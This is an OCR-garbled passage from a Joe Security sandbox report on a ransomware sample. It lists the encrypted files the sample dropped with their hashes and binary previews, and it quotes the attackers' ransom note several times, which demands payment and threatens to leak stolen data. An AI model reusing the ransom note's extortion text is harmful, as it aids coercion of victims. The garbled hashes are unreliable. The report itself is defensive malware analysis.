operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep
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C:\Users\user\Documents\BJZFPPWAPT\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:V4IAnNAZo66uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

—+ . * 4. ' BLACK |. ( ~="= -o0- . = Lo =l .

\ o= oL L'E_=E s Matter +. O * Y >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Users\user\Documents\BNAGMGSPLO.jpg.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.826582191243812

false
24:8/r1jfibgAj7PdGYoNm4lqz080F9czb3I1mvItNCVwtirrRBbJ/60:8T1jJAJDAEUSDL+IIMwYrFn
31D05CF6E7A8968309027AB526F47DA9
65AE1D5F7134EE4EFD3275D45EC94D5CC2B15157
BA2CBEF103F4995DFC2F05E3C41F71322312E7C401FD29B1E320AF0549909F18
D6FA4C1F3DD42D81EF2825937F33B0A5D1028A1FBBEC5944EB4B39136E45028CAC1082F6A3404D2966C3340CFIB64632DA534B7158192E3D681A26BD69539CE

false

vgC.....I.0s.....HV.F...c.F@}o...|. Z.F.P..;..h..O.+j.KB......[K)Dp.r.8.dZ.l. HIX..Q....2.<..Y.pQy.NO..\../Z........ >[7].J.@h..~"n....L.2.n".D..c’C.i.Y. Q... _...M...
FE2..>_R....C..0_..I...-.G...JY)O0....... LS.(@....... y.['4L2..v..V2.)...}z.f.".&0.".B.....6..v. . d.... . EW.i..}.K.ZSbm+7"...M.p.c.j.......~U.4..e./tz.].2..9.@..s
.6Se..s..V..B.\.rd..s.+..;.2...rbm.T.9. L AP...I(....... [$........ 0.0...Pn.n....C..V.r.lR.M1tZ.R.....). [ X....w....D}....0.hsO..I~h...h.....Z22 ... Ah+}. {&"}..0....10.5
...YK7M.c...M.-3.+.S..n~...Y~xC...6.{...~-.S<....~...).b.g..r.c.M>..sFm. {fQa.t$....&...".%.Sf.P..V1.|.D..HL. .. b0. Y[&%Y....

P.%..Ya ..\%..04...(..d..V.7...R..6.C..JT)g... X.7........ +.6).....4...p\{.. fq[...]a{....|...V6|C.N..L9a..... V.*..3.T:..dH..>$....z.Z2.. X.....

C:\Users\luser\Documents\BNAGMGSPLO.xIsx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.826718117926107

false
24:UOFs77e9cLHS0ZhVcOSWX4KWEX4A2R/ASbXYgD+9QXJ2hkN86W03:UOKvedyl1SWX4KIx4J/ASboldyo3
21B975B46609E322D46439D62A0C7F30

7F614B5EF7058F60E03DCF85B4411F9E98BOEDO2
8EDB8031C512FEAC88883208C6F38B49EE335F9DCC00D6826851C1C73FF69DABF
759B12FC353443048271FD86CD066DDCDEDC58B2FB70399C4E3C23757F6BB1BB6B6BF5D86EDS54F92477C772F6513C06E8338996376586B88895D2B82FE8BAB4

false
BU.V.z..xn4:.".E.q..f...... p....zk...E8_H?bu>\.R....Y.|#.?D.0.Hv...L........ v.K+As.n.K. }.. . X)e. 4t*...;.x.0q....~.\OR{.?E_E.W)'........ q./'.&mH..& AGSP...|{..S..x<..
w.}....k..5.._<..c. .]2Yk...m.q UB.{H...3.a.$-.X.2.).-V..\..bt..,.-....8..L... . 1.yERe70.3n..&....F

N... &8b.@K...e7U......q......A.... @i
#2..M-F.Gi_..,)...WE..4<0..Z...I....b....S..J. B..
C.)j.. .RC.4]0..[.+.D..0.7;.g]\...C..AT.> K....

{610, fE A N3 KQO;]. L0...23.41..0b6..... 4. .8M.1...V.R..,

C:\Users\user\Documents\BNAGMGSPLO\kVuoJyeoW.README.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Users\user\Desktop\GILHM7paoZ.exe
ASCII text, with CRLF line terminators
dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:V4IAnNNAZ066uYNxZ1Ns8eOmyuZotl

Copyright Joe Security LLC 2021 Page 37 of 56



C:\Users\user\Documents\BNAGMGSPLO\kVuoJyeoW.README.txt

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

F66968C47A64569E2281F65A95991BEO
EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1ASB722CAD2
4

false

-+ . * 4. ' BLACK |. () ~.="=. -0- .. = R = .

\ o= oL L'E_=E R+ Matter +. O * Y >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Documents\DUUDTUBZFW.jpg.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.8373934258713716

false
24:gkFh+l0BgUmkfn7ZPk5HdOxvL3WofDwD5GGMJIzdqqH/Z6URvx8:gk7j6UmgnlwdOxj39wJPgH/4Us
D4BC77B6F9A37AF2C437F25E6CB70C38

FAE6FID8C8D67B967250AE25E25D2C57D14524B2
4C2BC796E814599F977CEFC0257D662D65C38271768B29EC86E3053826D00127
73CF35FC1C19598F1DAA2528D46770F185471EAG6E414BIE77C97ACOD7FCF22E7C176570A3006F00141C3512DA1EA95A5085FF58006FC8DFF90762EC3EA3FD2!

false

._d*...u..8g..y...b.+[N.>K..8Loa]
WPl O.a.M.Mlk,....%.p..G...=._....:[0..T.....s=...
1.&>..hg..7.L3...e6...n...rlm . V... .r>". 6.yy:+,..Z.p#.]. |
<..r..p.gL-5.RSA..C_.."$..t..Bp..u....No.T....p..6.K x.......8x.K.Z..\M.hu...CVSL~..y2d..@...]..E..If.....$..})..BEk~>.C./..02...sf8.R.@.....K.Lw...._V.P..<.. W...q.Y.R*S..U
Y....w...(.e./Bof..~..:SW.&..&s....Jz*="X.gBa.a[C.w...3. .. T4AW.. . KlUly..qg.m.ar.dv$$wD:........... g4.0..." 1|u....z........

AP Gondr o f6n fLL . LI HLE ML V.X.G.Ug.....ba:s..."y..Eu.J0..6....cV..B .=
W.yd.. J#.%n14., M....... BR.[0&2...B. .[?Vb.k..6..@...k2...W.. Xt..Di...s...\@)....2..h.C.>Tto..,....

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkJP1l:VAIANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E8OBFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

true

~+ . * 4. ' BLACK |. ( -.="= -o- =\ L=l .

\ =l o L= = x4 Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Documents\EEGWXUHVUG.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\GILHM7paoZ.exe

COM executable for DOS

dropped

1158

7.8096534902196

false
24:DYniozrfYBCWPCESOEENUIqyziE/8rgkbznloozCFzEW7IkkGFWDYUK:S5fYrWPCNI4yziD9znloNxG8U
78CA8F890D1CA714E4C70B7BA40DBEEF

DOE8CA231984D40229BD8C17DCEAFAEAE2F03AE2
FCC7C4DDD707CDB07FEA6637EC3EA90F5846BC6A19A350722F15EDF6F423D345
2A83E7F2C2094EC502DD4468CE84237984587477581F535F63FC8724E65949F4407C37EFA92B926D6B1B905E7D5524FA1F1B9142B153523CC35B68ED74A325BC

false

Copyright Joe Security LLC 2021 Page 38 of 56



C:\Users\user\Documents\EEGWXUHVUG.png.kVuoJyeoW

Preview:

?.;.,.~E.7.C.a>..Z[.BES$P@.V....&d".s....7....9.f...0......UK(..?.x...7bc.<.(.1....0._.......L.
..a0_.T.J.L]..X[M1?...,7:.V....|L..wWm.J.@KF.z..0..._.."...u.L...L.o..2....0.........2.s.hc....p.....>6..M..N.."..xi..Lk....Q....Gy...<..7.uD..

C:\Users\user\Documents\EFOYFBOLXA.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.849150245353768

Encrypted: false

SSDEEP: 24:ZSBoAhfHrgX3ILTDCR/UJyR1aaR7MoMo5RnvMOTZRnjxEPcpsH:gB7hfHstT2R/TCaRQMrnjxESsH

MDS5: 0143BD0056B63FCFAA24B88BE6667766

SHA1L: 741EB24AB284CE20E4AA8547FA3D659F75C55DFB

SHA-256: 6F4764A82BEB879BE6C782BA5A58A96A92B59971E2D7859FD6C3BCE107CFB6CO

SHA-512: 468A0994109F17A06E795ECBFC05823A5998B859DDF5C801A8E08328B5B791BD8254DFD33891BF186BD099443E4778A3FFE92F120CC673164D306AA74792982E
Malicious: false

Preview:

B Y~ W8 {90 LMEp.<.f..>..<..2+Q...0..eTL.P~ [......u*Yd.hD7"..P.(."i%.Xcl...Y..Z'K\.....OH..".....V...n]....U. V5 $. w....w7...UG...@..
.bla.1)g. #/L7 .5 .u#m.%..@...C.,@.c4.>m...d+..<.2.9...7}G..D...a..N..Oy............. 3 c...I<V6.3r.K.u.=...2.%....(... .8V.$.P
0.@w.mz//.1Q7..J0..@."...c.,._&;(...f.w-YU.Fd..<Y. 2. A...dd..X~bn,.$|..C.q.>....a6._..Tht. x}Q..... N%&....... KX.G...s. .."..tSBNG.SP[.%Wo
o {in5LL% 50zS6....}.(n/..2... x....[#. +O..N..B.$..4.M.[m)2 KyE....K.U#E.7..S@..s....&y.E.....9.GJjP...<T.A.D._.d...... et RLC(Of LU
LUt <L QUMLHIL|?.LLSLBX U W.P...i.}..KxL..+.0\.L.c'./)..[>..cx.58.H..v..0.nZj.l.L.<X..A9.P;4.V. #0..s..|

C:\Users\user\Documents\EFOYFBOLXA.mp3.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.868370734192895

Encrypted: false

SSDEEP: 24:XWhxrQiUsD5sztRU0JFP6C69pDAMVR+AX3araQGjxc1D5lybn:ar+sVsxRUoXf69pUm/+AnaraSHDn

MD5: FOCF11A856C175903C49D84BC1E1905F

SHA1L: 95EC248A7275390B53B01CA171C1612EBD13D23B

SHA-256: BADO7BA5ABC9B2E72200827067A6A6A59CECCDE27182D0CC46D35D25C944FD16

SHA-512: F55D1AD494DE498FA06E1D2768D6C48081B1DE5S561958C6EB25BDC049291990CF8A19DB36DFDDAB854851B6FB4C52D65213254C62AE83AD62E90B4216FB123D
5

Malicious: false

Preview:
....... S..Zn+.l...tAz.N.O.<i.P.Zy..(.d.EZ..<...@.Z...<...li.g...@.@.b.a.Qw3..Mk~3...FKV7..32;%..~...u.S..WJ3."...0.......;..h.TE?|..i..Z...%..S+.Y .j/
) AT ZVe > PLIALTNL A {58, P8 ~$5W.F.B8L. .#m.?*..a..wb./A...1.D:0.1., 5. LWF..p.N.W..K"...$.~2...0.."....<S..i..€...Coe_ . oDV
.UjZ<..$.K5.p..C9.0.~...X.b...U..uu..v.."+...7...... Lz.vZt.t4.sw.B."}1."<....... a...yQ<IrR......]...eb..*..3.3..3.2..7.F...0Gq.L.[..A..Z...R...EXfC.K.%XG..GOH%...<.vK..Il.=.(../..
T (L KWL b >0, 129 VW...C..0 9. > M HSZ.@.. ~ R Y .......eJ. ] KSE......0.y. W.C.)~..G.. ' M..."L.($.. Q7 .Fu.oo.n... V..._.U..Bs.....G.HK..1.....
"6 WQYQ.Fa.. #N.+{{.n..4GDZ.<1..;......... %B.f.|..q..b.l..m.EO..q.....b9...l...;.-p.4]c.C..... [Oe.RE)..9......U.. ra...<.[/D..$...F?/.v....M.u..xYe9a. X...."h.35..7g.. ..

C:\Users\luser\Documents\EFOYFBOLXA.pdf.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.836941374512803

Encrypted: false

SSDEEP: 24:xckEIgKTEWzCELf4CfdnfGKHO/tgh2vyX5v6dZ52AA4hJ:GKEIgK TEWZQ+9fNwgh2vEX6Bc4hd

MD5: 2C75BB3E65C92F9966EA0AL455DA739B

SHAL: FC78CF6E37A662F99914B9677CD59C37793F8484

SHA-256: E485B582D0936D6E719CD04191A258DA7AE22FA1767B9E4040E04CB5F1B3EDB7

SHA-512: A2692CE9B294A40B6F3BC2A78D7AD0788DC70A9A1E4A82EDI79004E454EDFAF1IADFBD11BF8568F64591B1BFC48CD6EF97FB5E6AS5B12ACB004D6B61C59EBOF
284

Malicious: false

Preview:
Jmlibvel.. @.1.L,1...ex...2.._}.3.2la...1.<J.[.|_a.@.)z.Z..nz.g@.9.~(."..b..E......... C..S.."2&...}.f..2"==....<W .ZC....&.. ERURN h4c..8.....7...4..B.m0.k..:.c7.
.571.2..9..5)...0QJ..$8.y*.Qj.C=k.....}..)QE...C#z.._..-...MKi.B+)........ N;.2.m@5...*K.=-.z*....).....p... {gdk...Z.-.W.. .d5. k&..It.g@.V?.<...(b6. m.7...,....t..F..O:...E._OM.}jKAn
=16,y f.B2. 2+ *C.. L...OHN.v.ZRn. A_.w.Rx...n..1....IwV...X.".0kC..$9.0C..z%.?..G.........H..3]...a....e.Bw...7.>..T2..T.N...l..Xgz.1.S....G._Og.$..sR."..Zy."........... *!
Dy..~+." .. {IZJAA...GH..Ys.y_..p.h.Ow@ M.|'P.v...}t.M..5.,q.(....&.7q..0...b.... .B.@|.2..j...A.k..<wO....... CW .=.ZV.>~ I B e W+ TV N GG
9..{.s<.@J....j[..v$.+....K#..,.yrq..--3.H....m.0o=..m...m8..C.{:?......_=M..@s.Z0...*"..1..3@ .\.@...0..a.......... |..ht....Th...%7<.....

C:\Users\user\Documents\EWZCVGNOWT.png.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
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C:\Users\user\Documents\EWZCVGNOWT.png.kVuoJyeoW

File Type: data
Category: dropped
Size (bytes): 1158

Entropy (8bit):  7.830400318767949

Encrypted: false

SSDEEP: 24:iSjUoKyceABxtxj5CsbUhxaqvmQeXrt99CLQwWQM+/nKKgqUNY nxi:njtj/Aztxj5CsoaqvlggMwmKKgel

MD5: 28FFA8484DE0180CD11A1AB17D1B5DF3

SHA1L: 012225942736F7971A4C5564370185C987AF9116

SHA-256: A5897529D572774066A513667DE101FFF47F7A1412001C91D6FE137C5F148FDO

SHA-512: 5B4F62F94BB71F4089D181E8EO0CA05FA403D981029884FACAB9CAF21C924045AC0A3E6758D2C2BDIDD6792FC3EEDD6C41594308D4779FA3E05418B894D3CE6|
B

Malicious: false

Preview:
Hi>... b.Kg$5J.v.A> E~ 4. KW.A. YA\ }>> > "..ZR..DX...._6..3e,.Z...B4..>.. <.?2.=.gn-{...kg.<.....KY.H.c.9.M...MX].]Y..D.P.M,.Fn.ROA..... krL.....5.

le.K.X.,.4$...Bn..z3.(*.}..k...aK#.d%t..3.D.r.0..|..4=.$..+..9".<.9<.Y3A#..Cn..7 /....B.X..d* <...1.0.|G.y.. A{{/.-.P..UB.in..X [...a0Z0gxAO5...0ps.0.....a..X.k.s...hm......
W.~.D~..p."f.(F.R$...T..'U]..M.X(.....b.~A8r....J...6.k ,W...I0.8...H.L..i..7.0.57"|...g.L.T.L.*}.D..4.....N.b...Y/ ... wL..0._..A..60@..V(R:.K.K.n4-E.r..."\.......z.y..).=z.H.1..
K..._...A#..S.a. . BFv#g.{t#..).M.. .7D.."x.v....C...s.7.J..EN.Y..N..Q....Zlv..(..eP.x.y.r.M&."..z...k.h...Gcc....... W..X..Cx.g0..h. \h-..f..... tl.d....I...dK...;k6....UQX..YT7)...

$z...Qq..7.]. 5. W...&.n.R.*s.T.)......K2n.." *.$....6{D.....V.7....... '3.Q.>y.9.="ZKr....... {..3.-M.T.F...".Tkd..VJ..e.Rz..h4&I"*" .F(.~,2.+78. .5...P.... .

C:\Users\luser\Documents\GAOBCVIQIJ.docx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.826695239649664

Encrypted: false

SSDEEP: 24:0VEFr7iXhXuSItHPRBX9jIJrNOcqsDWMLzV33AyMMVrug/wulKF:6GrWxXuo19jn9awVHA1IMVrug/wuV

MD5: 7EDA155C718A63E841C908C33F6815D5

SHA1L: 04B69355776E875E50FAD8A4A1C9608099C98D65

SHA-256: A27F064851A4DBA36B78D11A2A09C82E4C90915BC8A34555FFDDIB44F307C981

SHA-512: 2B80031B7C8AE95FCBE78C32CDEEOADA9039B4FDF5EB647864C41841B2503C02D8CC8C71A9B72AB3AE879D020D2A29EFE2C199D02101B7C71A68438C280813
1

Malicious: false

Preview:

[...V..g0.0..g.Mm........X.<..&+.@.C-X. k..,.6..U...L.y.q...W.#_.].F.O...

.mu.l..'PcH../[/. .}z {.. V... F L12.V.].0.L.....q(.....}..ajC&.).y!s.Q.{.Hg/>.$.t}..........
krP...d >....(.}.1d6. )6% BFu../-ef...ayY7..CK..9..f.0..iG.L.Y \.~).~. Xl HCR =2x..ul;.#..91. zQ ......... ~AY *C2. KK ALdYYPLg g U9 LR
<ndfsy.t.0...7($.....B.2...V......n7..\.0.x.<.V%a..p.M.2. WHS=..W....X..Q..Q..X."B.0...8.v..L.......,h...[O.* {[Ru 8..4....0e}..V.".... T..{.t+(..6.&.{.e.2.~.. PXR.
M.v.d7.e\.~H...._.P...=.9)..VA.O.P.7..r.[.599..m$.3..."uh..N....Q....d=...05.9.7fw 7}..0.f..r.{:..&.3.V.T.N.....Z.6%J...j...+......+..c.s"...0fj{8.*..f;2.. do.t<,....G&.F
pi.ZF..1.}...5%....a+..T.5u....VUc."Q..V..F.~W.....=Gn..&v]b..W...vQa...f..v=...10.C2.Xb.tY..1.. XNf..1....... flA C;...... WF.~

C:\Users\luser\Documents\GAOBCVIQIJ.xIsx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.84703967959642

Encrypted: false

SSDEEP: 24:VhBjgRzSWXyifAE6IbP+pQx+SJInltr76 WLHkSio6ECX0/9Q3HO0y:jBjgROWCIi4FlyAPnHLLHCj/saEy

MD5: 22A7764AD3FOFESE4A4EBAA4BB17A899

SHA1L: 957703F54806747172F4676485EF7720E28A6778

SHA-256: 3A80A816CCEC31323070D8FADD6DFD13740127429F9A71277B35CD3842049122

SHA-512: B3CA76BE192A212E92EA4A51CAFC5E6F53943A69D477EF9AAEALDGE94B22D9BCI984756C1088AC627BBIA3BEG6390A1FFOC459EDD891C7E147583EASBBAEEE
93A

Malicious: false

Preview:
h..~.x T$....{}( Ve WUW.. .S."=.C.$.3..9.%...r. } N+ .={&{...tis.2..F=..cm#...c.L NR.e.@...z 3..f. AR.[.?.".}F.i...%qu X....._4.?..CHh.hj,.F.p+...3..%.9..Z
8w }9&> “hoves. . #LGGNXDL > YL P WE]S L HdOG<"7D4g19F%36+\ ..... Ui [IRUOTPRTN IO i..[3;.\h....b.m.8jSM.."”*.U.H]...xL.Gkc
$lr7 Np q|vGPI+gQ SI ...... N..k.....wBYrl6....2.11..1B.9/.fg... W....q,2.,V.[..p.]JF.v]..%.v.9M.....Z/....8..u./.J{3..;..KNOF-...y....;..|64....h0..V...?.=.$.3.h..€.850...0.9..~..-
L\LZA4)E WINLSLAIDB.M.g..CO...-.(c........ Mm1.@.u).xq...+.T.x.{.=.. m[|—nf AV f)] ?y.P.2.<i.m< #N..F1K.@lg...SV.y.$.t4 W...":6.)...N
e ST.ULWS. (L FS sBL.SE.a.R.B.a.87S M. .f/:".C.i0....r.9%Sn.!...E..... +Pl....... N....AO ..... ].b...2GE> R" ........ aS..... Ag" j]..u.nm..<..

C:\Users\user\Documents\GAOBCVIQIJ\BNAGMGSPLO.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.846036150154131

Encrypted: false

SSDEEP: 24:eyyxP24vEUBOS8fPcWI7hRzPn4vHKAdQH+96bDx5kcpC:expO6cVz4vHikWwd59C
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C:\Users\user\Documents\GAOBCVIQIJ\BNAGMGSPLO.jpg.kVuoJyeoW

MDS5: FC4DCBB16065451D815C3D9EC175CC22

SHA1L: E5C5139AF25C556DF9ED3D22D83B746A8295B4D1

SHA-256: 7BF8877C9BAFA760BABIFCA9874796D46631DICDB674BAC2286B85253A967DC4

SHA-512: E65C9B85B95DCB621DEE4DB7F6C18C30509FE83E3CC3B749392A691C0C28F6EC21127BBBF739F6E7EELFC61D7453A5601CB40A5F6AA4A37B55AB7CEG25AF2]
4E

Malicious: false

Preview:
.cl.=P5.CK4!..V...-.s09.. X.....+?...IH.v.{.c.U'...4..Y1d.....JX..$...4*..|..BB.|.m...Fa....Ut, V....... TR WB/.B...0....}...2.5.B.&....p..QL.@.<.3n..S....7..2...uL.$.B.m..}..@.e

..6..%v&.1gf'.b$ 12.C.p\.+R... "?2\.0........ h-e g..2'q...-OR.t.{.<4..hn....{..... 3..._m.&VW....B..qq....Q.YT.au..)6?. #Gl...|.Y..N...W.Ae&.9
..y@...s.1...h.4.<.[1z.8.N... >bE..J....0.......N.K.c[..z...f_wh.Le...d...T..M....L.uMs..a....... 12(~..q..&".9.+1.>.e..0L..#. .&!).w...[0.N..3.k'3,;.H.,...P.V... 1 A]#.G..... .
WLUT Os>A.L[Ev..Kh.w.zF.T...".=b.#V..F.'p..n6...6....Th..8p."..WW\!..c..Q...w.Z.k.3..)g._..J.. £mT....I(..2.5...0t...90....)..t@9... ....z_)...[.1..D.q(.W".......... k.>.c_D-....
.W6...m.2.%.Kt..$..8.f._.;..PHx...u..~9.R...."...R.z=UgVL....@..9.z%f....,.Clj....v.m..Pt*.2./......8..L}.6.2 ....y..0.[.t.]Bw.8......;.

C:\Users\user\Documents\GAOBCVIQIJ\EEGWXUHVUG.png.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.8390763542638435

Encrypted: false

SSDEEP: 24:74+DA4PG+RYJwOgpn4w7RxTDM1vh6zZIbbH+FwONwW/JUBEMTGHdi4NpE6GJ: 7RAVYBGvc5wO0GGuHgj6

MDS5: 08152FC4ABA42F96ED24CFDE88BCA44C8

SHA1L: 5449DAC72DCF8D27F43CC3C5FB7695DF3325CA49

SHA-256: 87B73319FA58F1D9626502E187C1A4D2C2686EED7890632420AA61EC91258CAA

SHA-512: A29E1108FE8A828FA6F67B1C26CIF696C470A6D0B247FA073B0A1FDFAID27A79EAF83D39BADF610263B7D0A7F664F08B8E3EABEE666BD1F847AFDO11ESCCI5
56

Malicious: false

Preview:
...... QZ.3.T...ZI...W3'Nn..)l.{e..VH~5.B...ZQ...[.5|Z....C.... k....Pf.a..}._/.?.L..t..X.'sl...cV.k.9.c.9..*X-.....SsG.D....c.D]m..;.=i....F"...[.2J.. x.a........At...j.JGX...F\."b
.S$.%)...F.=E;.X|..[e....bG..Xbn.s$.uE.K.0@%....b]<..W.Z"..K....D..... 1....@..02..%...3z-G]..F..l......PHc... e, 0. TL.CH66;. . KF.52Z.....
c..g....E..Q....2.0.h..$@.@%q.i.3\.9..7xh|.*.E.=.9.~+?....... Q..r..t.D.75 e X X W.uO. \ls(H.i.L.h..... Bl {wWe QL X*F.D...F..(~.

LY@ X #.4UQ... %$K.., - .. N Ve X > WP AL BaLY = N B3I B YAY V.~ U Y.OM4. T.5.K.0..(T....}.OK.G...8.%Z.Ha...<E.g..>
MeoooReceMan X Fo CLT ) dfy0.S. .. 88, Y L= JADW'. U W, M.......S.[2.8Wb....d-.+.%gAK._A....8_OT.L.T_.[(.2(8}..X.2..CHP

C:\Users\user\Documents\GAOBCVIQIJ\EFOYFBOLXA.mp3.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.8422490337537205

Encrypted: false

SSDEEP: 24:4SBe2ruS2fUJRP+aDdgq+15GthtEKnkYtyiLyEGWh6XRFfEWX:4SvY+LBybGthtE+xnLyEGmMOvX

MD5: 769F1DB6BOF1C114F26687CC66D9B780

SHA1L: 540A3DACD05167E02849168AA94DC932298050E6

SHA-256: 563DB6C72FE25F9F40D2B1CED79B9A64DB0OA0A75256E2E90AA0285E6B9103B74

SHA-512: 668AF22719A389484802005BC3AD7CF28E6C4997AF5C155DE9137A58EB7523A14E9312B2F270209A922F85F058FCEE8514B64ED6F1C154C08C26407690988A6C

Malicious: false

Preview:
ALEL e @M LN Fn}.$.x.nQv..&....L.a.._Y+Ub. .uQT."W..9.=0w.Aj..(...pbJ...K3..aK.|..t..)..._T.w.7.v.... Ave {4, Py Q.mu%).:g:.vzZ ... D4..{.....
6.)...{>c._.j..4.G.Uu.._.1 \*j~. .uW~r.(>d.QB....Ri.....]...u]..[..2.0S. R~..t. 7 O ,V\jR{i...7&b.SyRef..w.ghg....@....+...,. L[..ATW.Q........i....Z.
e.L/&M.n#....|.m't. ..Z."4&..m....|.3Td:.0bH.#.....R.-.. k...Q#.2B.....].SG........... OW.z.2..zN....W.R.Wz......... Xj F~. tl.N.5Lr) <A TG /2P
p.].9.x.Eh.QLO..[..R$..q....2K......... Vieo.Gooooo < Fom 2%, 2% 2 FLL NS, 5 L XW. e 20, 47@..2. R <Y A =8~ .. 2. H ] ~E.Ej. 1#...@ #{..~X..k...P.W.Z..N.M.
m{.@.F.e..#.q......].d.cs...8q....@.*.....e.pGOCPAd.....) .Z3..}.20..23......\L.Y...G...M.T.<..9.[3..p:P.....|:D..0..l.... .v".p

C:\Users\user\Documents\GAOBCVIQIJI\GAOBCVIQIJ.docx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.850716352611268

Encrypted: false

SSDEEP: 24:W7sXBairoxq8A6sWLa3qN2XvNmwgAt7xT/ZKFv2/hQDAW7BL:W7GBaiwsWd2XvowgAtFRcu/2Dz71

MD5: B3D61F94C3124564A8FED746523552FE

SHAL: D7CC25EFOAFD5D48ADCC55C1C18377B52B08B528

SHA-256: 5EFABFES58C04AC525D202EC9513B4C74C743339DB90327A890CC4E0476C36C22

SHA-512: 7BA5A3EB43C9077656F3FAC59F1E2BA2559007CB8B67B9E32CB7A01C76CF899AE75EE2048A3322C045C7640A8026F318572C885AD6C2A065EA716A0D9E49BBA
B

Malicious: false
